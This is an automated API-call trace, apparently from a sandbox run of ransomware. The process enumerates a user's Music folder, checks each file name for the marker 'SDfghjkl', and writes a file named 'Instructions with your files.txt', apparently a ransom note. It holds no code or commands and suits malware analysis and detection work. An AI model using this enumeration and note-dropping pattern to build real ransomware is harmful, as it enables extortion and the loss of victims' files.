[0131.653] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\.") returned 41
[0131.653] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0131.654] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9f8a28b0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9f8a28b0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.654] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\..") returned 42
[0131.654] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0131.654] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8800f120, ftCreationTime.dwHighDateTime=0x1d5c32f, ftLastAccessTime.dwLowDateTime=0x6ebd9bf0, ftLastAccessTime.dwHighDateTime=0x1d5b759, ftLastWriteTime.dwLowDateTime=0x6ebd9bf0, ftLastWriteTime.dwHighDateTime=0x1d5b759, nFileSizeHigh=0x0, nFileSizeLow=0x10ec7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8SAy.wav", cAlternateFileName="")) returned 1
[0131.654] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8SAy.wav") returned 48
[0131.654] StrStrIW (lpFirst="8SAy.wav", lpSrch="SDfghjkl") returned 0x0
[0131.654] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f70550, ftCreationTime.dwHighDateTime=0x1d5be9f, ftLastAccessTime.dwLowDateTime=0x755a0f70, ftLastAccessTime.dwHighDateTime=0x1d5b754, ftLastWriteTime.dwLowDateTime=0x755a0f70, ftLastWriteTime.dwHighDateTime=0x1d5b754, nFileSizeHigh=0x0, nFileSizeLow=0x14ab4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BQtq-hx3u.wav", cAlternateFileName="BQTQ-H~1.WAV")) returned 1
[0131.654] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\BQtq-hx3u.wav") returned 53
[0131.654] StrStrIW (lpFirst="BQtq-hx3u.wav", lpSrch="SDfghjkl") returned 0x0
[0131.654] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0131.654] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini") returned 51
[0131.654] StrStrIW (lpFirst="desktop.ini", lpSrch="SDfghjkl") returned 0x0
[0131.654] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d48deb0, ftCreationTime.dwHighDateTime=0x1d5bdda, ftLastAccessTime.dwLowDateTime=0x356716b0, ftLastAccessTime.dwHighDateTime=0x1d5bbb9, ftLastWriteTime.dwLowDateTime=0x356716b0, ftLastWriteTime.dwHighDateTime=0x1d5bbb9, nFileSizeHigh=0x0, nFileSizeLow=0x13f10, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FoXjfmFCQL4VFj.m4a", cAlternateFileName="FOXJFM~1.M4A")) returned 1
[0131.654] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\FoXjfmFCQL4VFj.m4a") returned 58
[0131.654] StrStrIW (lpFirst="FoXjfmFCQL4VFj.m4a", lpSrch="SDfghjkl") returned 0x0
[0131.654] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad9d77e0, ftCreationTime.dwHighDateTime=0x1d5c588, ftLastAccessTime.dwLowDateTime=0xffdf3e40, ftLastAccessTime.dwHighDateTime=0x1d5b9d9, ftLastWriteTime.dwLowDateTime=0xffdf3e40, ftLastWriteTime.dwHighDateTime=0x1d5b9d9, nFileSizeHigh=0x0, nFileSizeLow=0x110ae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="I fJgj4T xB51.wav", cAlternateFileName="IFJGJ4~1.WAV")) returned 1
[0131.654] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\I fJgj4T xB51.wav") returned 57
[0131.654] StrStrIW (lpFirst="I fJgj4T xB51.wav", lpSrch="SDfghjkl") returned 0x0
[0131.654] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x680bd2a0, ftCreationTime.dwHighDateTime=0x1d5bf28, ftLastAccessTime.dwLowDateTime=0x1824da80, ftLastAccessTime.dwHighDateTime=0x1d5c076, ftLastWriteTime.dwLowDateTime=0x1824da80, ftLastWriteTime.dwHighDateTime=0x1d5c076, nFileSizeHigh=0x0, nFileSizeLow=0xb701, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="it3PERvg3lqs.wav", cAlternateFileName="IT3PER~1.WAV")) returned 1
[0131.654] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\it3PERvg3lqs.wav") returned 56
[0131.654] StrStrIW (lpFirst="it3PERvg3lqs.wav", lpSrch="SDfghjkl") returned 0x0
[0131.654] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaec58af0, ftCreationTime.dwHighDateTime=0x1d5c258, ftLastAccessTime.dwLowDateTime=0x9c979f90, ftLastAccessTime.dwHighDateTime=0x1d5c14e, ftLastWriteTime.dwLowDateTime=0x9c979f90, ftLastWriteTime.dwHighDateTime=0x1d5c14e, nFileSizeHigh=0x0, nFileSizeLow=0x17a86, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="JAhplxjuKLtTOm.wav", cAlternateFileName="JAHPLX~1.WAV")) returned 1
[0131.654] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JAhplxjuKLtTOm.wav") returned 58
[0131.654] StrStrIW (lpFirst="JAhplxjuKLtTOm.wav", lpSrch="SDfghjkl") returned 0x0
[0131.654] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14485f60, ftCreationTime.dwHighDateTime=0x1d5b9ee, ftLastAccessTime.dwLowDateTime=0xf4979950, ftLastAccessTime.dwHighDateTime=0x1d5b598, ftLastWriteTime.dwLowDateTime=0xf4979950, ftLastWriteTime.dwHighDateTime=0x1d5b598, nFileSizeHigh=0x0, nFileSizeLow=0x59ff, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="L3LMuaNSqM6ijOaHS2.m4a", cAlternateFileName="L3LMUA~1.M4A")) returned 1
[0131.654] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\L3LMuaNSqM6ijOaHS2.m4a") returned 62
[0131.654] StrStrIW (lpFirst="L3LMuaNSqM6ijOaHS2.m4a", lpSrch="SDfghjkl") returned 0x0
[0131.654] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17e25230, ftCreationTime.dwHighDateTime=0x1d5bc63, ftLastAccessTime.dwLowDateTime=0xb7d0b990, ftLastAccessTime.dwHighDateTime=0x1d5b794, ftLastWriteTime.dwLowDateTime=0xb7d0b990, ftLastWriteTime.dwHighDateTime=0x1d5b794, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mVk0F", cAlternateFileName="")) returned 1
[0131.654] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\mVk0F") returned 45
[0131.654] GetProcessHeap () returned 0x810000
[0131.654] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x854bc0
[0131.654] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\mVk0F\\*") returned 47
[0131.654] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\mVk0F\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17e25230, ftCreationTime.dwHighDateTime=0x1d5bc63, ftLastAccessTime.dwLowDateTime=0xb7d0b990, ftLastAccessTime.dwHighDateTime=0x1d5b794, ftLastWriteTime.dwLowDateTime=0xb7d0b990, ftLastWriteTime.dwHighDateTime=0x1d5b794, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0131.657] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\mVk0F\\.") returned 47
[0131.657] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17e25230, ftCreationTime.dwHighDateTime=0x1d5bc63, ftLastAccessTime.dwLowDateTime=0xb7d0b990, ftLastAccessTime.dwHighDateTime=0x1d5b794, ftLastWriteTime.dwLowDateTime=0xb7d0b990, ftLastWriteTime.dwHighDateTime=0x1d5b794, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.657] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\mVk0F\\..") returned 48
[0131.657] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x303fb950, ftCreationTime.dwHighDateTime=0x1d5b7d4, ftLastAccessTime.dwLowDateTime=0xedc20bd0, ftLastAccessTime.dwHighDateTime=0x1d5b8bb, ftLastWriteTime.dwLowDateTime=0xedc20bd0, ftLastWriteTime.dwHighDateTime=0x1d5b8bb, nFileSizeHigh=0x0, nFileSizeLow=0x9d16, dwReserved0=0x0, dwReserved1=0x0, cFileName="1EiS6TWJ4sFPif5J.wav", cAlternateFileName="1EIS6T~1.WAV")) returned 1
[0131.657] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\mVk0F\\1EiS6TWJ4sFPif5J.wav") returned 66
[0131.657] StrStrIW (lpFirst="1EiS6TWJ4sFPif5J.wav", lpSrch="SDfghjkl") returned 0x0
[0131.657] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3414e70, ftCreationTime.dwHighDateTime=0x1d5bdf2, ftLastAccessTime.dwLowDateTime=0xa5f53800, ftLastAccessTime.dwHighDateTime=0x1d5ba7c, ftLastWriteTime.dwLowDateTime=0xa5f53800, ftLastWriteTime.dwHighDateTime=0x1d5ba7c, nFileSizeHigh=0x0, nFileSizeLow=0x14d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="5lhUTZwqk JFsp5FAHk.mp3", cAlternateFileName="5LHUTZ~1.MP3")) returned 1
[0131.657] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\mVk0F\\5lhUTZwqk JFsp5FAHk.mp3") returned 69
[0131.657] StrStrIW (lpFirst="5lhUTZwqk JFsp5FAHk.mp3", lpSrch="SDfghjkl") returned 0x0
[0131.657] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf14b390, ftCreationTime.dwHighDateTime=0x1d5b720, ftLastAccessTime.dwLowDateTime=0xbd8e6710, ftLastAccessTime.dwHighDateTime=0x1d5b956, ftLastWriteTime.dwLowDateTime=0xbd8e6710, ftLastWriteTime.dwHighDateTime=0x1d5b956, nFileSizeHigh=0x0, nFileSizeLow=0x13980, dwReserved0=0x0, dwReserved1=0x0, cFileName="8nUkf.m4a", cAlternateFileName="")) returned 1
[0131.657] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\mVk0F\\8nUkf.m4a") returned 55
[0131.657] StrStrIW (lpFirst="8nUkf.m4a", lpSrch="SDfghjkl") returned 0x0
[0131.657] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b9e6f40, ftCreationTime.dwHighDateTime=0x1d5c199, ftLastAccessTime.dwLowDateTime=0x8ccc8fa0, ftLastAccessTime.dwHighDateTime=0x1d5ba3f, ftLastWriteTime.dwLowDateTime=0x8ccc8fa0, ftLastWriteTime.dwHighDateTime=0x1d5ba3f, nFileSizeHigh=0x0, nFileSizeLow=0x14240, dwReserved0=0x0, dwReserved1=0x0, cFileName="f Zo_G e4a1eM.m4a", cAlternateFileName="FZO_GE~1.M4A")) returned 1
[0131.657] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\mVk0F\\f Zo_G e4a1eM.m4a") returned 63
[0131.657] StrStrIW (lpFirst="f Zo_G e4a1eM.m4a", lpSrch="SDfghjkl") returned 0x0
[0131.657] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7af44a10, ftCreationTime.dwHighDateTime=0x1d5be32, ftLastAccessTime.dwLowDateTime=0x83c8d6d0, ftLastAccessTime.dwHighDateTime=0x1d5b728, ftLastWriteTime.dwLowDateTime=0x83c8d6d0, ftLastWriteTime.dwHighDateTime=0x1d5b728, nFileSizeHigh=0x0, nFileSizeLow=0x2b39, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ml51uAq4sQ1vB7F.wav", cAlternateFileName="ML51UA~1.WAV")) returned 1
[0131.657] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\mVk0F\\Ml51uAq4sQ1vB7F.wav") returned 65
[0131.657] StrStrIW (lpFirst="Ml51uAq4sQ1vB7F.wav", lpSrch="SDfghjkl") returned 0x0
[0131.657] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdff29d0, ftCreationTime.dwHighDateTime=0x1d5b9d0, ftLastAccessTime.dwLowDateTime=0xbbd9c080, ftLastAccessTime.dwHighDateTime=0x1d5c5ff, ftLastWriteTime.dwLowDateTime=0xbbd9c080, ftLastWriteTime.dwHighDateTime=0x1d5c5ff, nFileSizeHigh=0x0, nFileSizeLow=0x443e, dwReserved0=0x0, dwReserved1=0x0, cFileName="p P5iCh7KHYoLf.m4a", cAlternateFileName="PP5ICH~1.M4A")) returned 1
[0131.657] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\mVk0F\\p P5iCh7KHYoLf.m4a") returned 64
[0131.657] StrStrIW (lpFirst="p P5iCh7KHYoLf.m4a", lpSrch="SDfghjkl") returned 0x0
[0131.657] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b578770, ftCreationTime.dwHighDateTime=0x1d5c4e3, ftLastAccessTime.dwLowDateTime=0xc6391400, ftLastAccessTime.dwHighDateTime=0x1d5c2bb, ftLastWriteTime.dwLowDateTime=0xc6391400, ftLastWriteTime.dwHighDateTime=0x1d5c2bb, nFileSizeHigh=0x0, nFileSizeLow=0xb209, dwReserved0=0x0, dwReserved1=0x0, cFileName="PFBMUcalxipH.mp3", cAlternateFileName="PFBMUC~1.MP3")) returned 1
[0131.657] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\mVk0F\\PFBMUcalxipH.mp3") returned 62
[0131.657] StrStrIW (lpFirst="PFBMUcalxipH.mp3", lpSrch="SDfghjkl") returned 0x0
[0131.657] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d70bd50, ftCreationTime.dwHighDateTime=0x1d5bdfa, ftLastAccessTime.dwLowDateTime=0x45ee1820, ftLastAccessTime.dwHighDateTime=0x1d5babb, ftLastWriteTime.dwLowDateTime=0x45ee1820, ftLastWriteTime.dwHighDateTime=0x1d5babb, nFileSizeHigh=0x0, nFileSizeLow=0x427c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SqloGIwr 0NG-c_pEMS.wav", cAlternateFileName="SQLOGI~1.WAV")) returned 1
[0131.657] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\mVk0F\\SqloGIwr 0NG-c_pEMS.wav") returned 69
[0131.657] StrStrIW (lpFirst="SqloGIwr 0NG-c_pEMS.wav", lpSrch="SDfghjkl") returned 0x0
[0131.657] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f461cc0, ftCreationTime.dwHighDateTime=0x1d5bbdb, ftLastAccessTime.dwLowDateTime=0x2dc38cf0, ftLastAccessTime.dwHighDateTime=0x1d5c220, ftLastWriteTime.dwLowDateTime=0x2dc38cf0, ftLastWriteTime.dwHighDateTime=0x1d5c220, nFileSizeHigh=0x0, nFileSizeLow=0x3aa7, dwReserved0=0x0, dwReserved1=0x0, cFileName="v1VOx9KYnDy1.m4a", cAlternateFileName="V1VOX9~1.M4A")) returned 1
[0131.657] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\mVk0F\\v1VOx9KYnDy1.m4a") returned 62
[0131.657] StrStrIW (lpFirst="v1VOx9KYnDy1.m4a", lpSrch="SDfghjkl") returned 0x0
[0131.657] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaca56570, ftCreationTime.dwHighDateTime=0x1d5b915, ftLastAccessTime.dwLowDateTime=0x18c66cd0, ftLastAccessTime.dwHighDateTime=0x1d5c407, ftLastWriteTime.dwLowDateTime=0x18c66cd0, ftLastWriteTime.dwHighDateTime=0x1d5c407, nFileSizeHigh=0x0, nFileSizeLow=0x3d99, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vvw1AfyFluoUObuUFC.m4a", cAlternateFileName="VVW1AF~1.M4A")) returned 1
[0131.657] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\mVk0F\\Vvw1AfyFluoUObuUFC.m4a") returned 68
[0131.657] StrStrIW (lpFirst="Vvw1AfyFluoUObuUFC.m4a", lpSrch="SDfghjkl") returned 0x0
[0131.657] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a0c7330, ftCreationTime.dwHighDateTime=0x1d5c31c, ftLastAccessTime.dwLowDateTime=0x99233ac0, ftLastAccessTime.dwHighDateTime=0x1d5c33a, ftLastWriteTime.dwLowDateTime=0x99233ac0, ftLastWriteTime.dwHighDateTime=0x1d5c33a, nFileSizeHigh=0x0, nFileSizeLow=0x65a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="wGNanM0k2.wav", cAlternateFileName="WGNANM~1.WAV")) returned 1
[0131.658] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\mVk0F\\wGNanM0k2.wav") returned 59
[0131.658] StrStrIW (lpFirst="wGNanM0k2.wav", lpSrch="SDfghjkl") returned 0x0
[0131.658] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x725c4220, ftCreationTime.dwHighDateTime=0x1d5bc1d, ftLastAccessTime.dwLowDateTime=0x772caeb0, ftLastAccessTime.dwHighDateTime=0x1d5bd09, ftLastWriteTime.dwLowDateTime=0x772caeb0, ftLastWriteTime.dwHighDateTime=0x1d5bd09, nFileSizeHigh=0x0, nFileSizeLow=0x18a66, dwReserved0=0x0, dwReserved1=0x0, cFileName="x26 d9v.mp3", cAlternateFileName="X26D9V~1.MP3")) returned 1
[0131.658] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\mVk0F\\x26 d9v.mp3") returned 57
[0131.658] StrStrIW (lpFirst="x26 d9v.mp3", lpSrch="SDfghjkl") returned 0x0
[0131.658] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x725c4220, ftCreationTime.dwHighDateTime=0x1d5bc1d, ftLastAccessTime.dwLowDateTime=0x772caeb0, ftLastAccessTime.dwHighDateTime=0x1d5bd09, ftLastWriteTime.dwLowDateTime=0x772caeb0, ftLastWriteTime.dwHighDateTime=0x1d5bd09, nFileSizeHigh=0x0, nFileSizeLow=0x18a66, dwReserved0=0x0, dwReserved1=0x0, cFileName="x26 d9v.mp3", cAlternateFileName="X26D9V~1.MP3")) returned 0
[0131.658] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\mVk0F\\Instructions with your files.txt") returned 78
[0131.658] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\mVk0F\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\mvk0f\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0131.658] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0131.659] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0131.659] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0131.659] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0131.659] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0131.659] CloseHandle (hObject=0x110) returned 1
[0131.659] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0131.660] GetProcessHeap () returned 0x810000
[0131.660] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x854bc0 | out: hHeap=0x810000) returned 1
[0131.660] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81ac4250, ftCreationTime.dwHighDateTime=0x1d5bed1, ftLastAccessTime.dwLowDateTime=0x6956bf00, ftLastAccessTime.dwHighDateTime=0x1d5ba8f, ftLastWriteTime.dwLowDateTime=0x6956bf00, ftLastWriteTime.dwHighDateTime=0x1d5ba8f, nFileSizeHigh=0x0, nFileSizeLow=0x14a9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mXPvE1xDSV.m4a", cAlternateFileName="MXPVE1~1.M4A")) returned 1
[0131.660] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\mXPvE1xDSV.m4a") returned 54
[0131.660] StrStrIW (lpFirst="mXPvE1xDSV.m4a", lpSrch="SDfghjkl") returned 0x0
[0131.660] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48a1f8c0, ftCreationTime.dwHighDateTime=0x1d5b732, ftLastAccessTime.dwLowDateTime=0x8b4fc530, ftLastAccessTime.dwHighDateTime=0x1d5c146, ftLastWriteTime.dwLowDateTime=0x8b4fc530, ftLastWriteTime.dwHighDateTime=0x1d5c146, nFileSizeHigh=0x0, nFileSizeLow=0xde4f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="N4MlYV9IcS.m4a", cAlternateFileName="N4MLYV~1.M4A")) returned 1
[0131.660] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\N4MlYV9IcS.m4a") returned 54
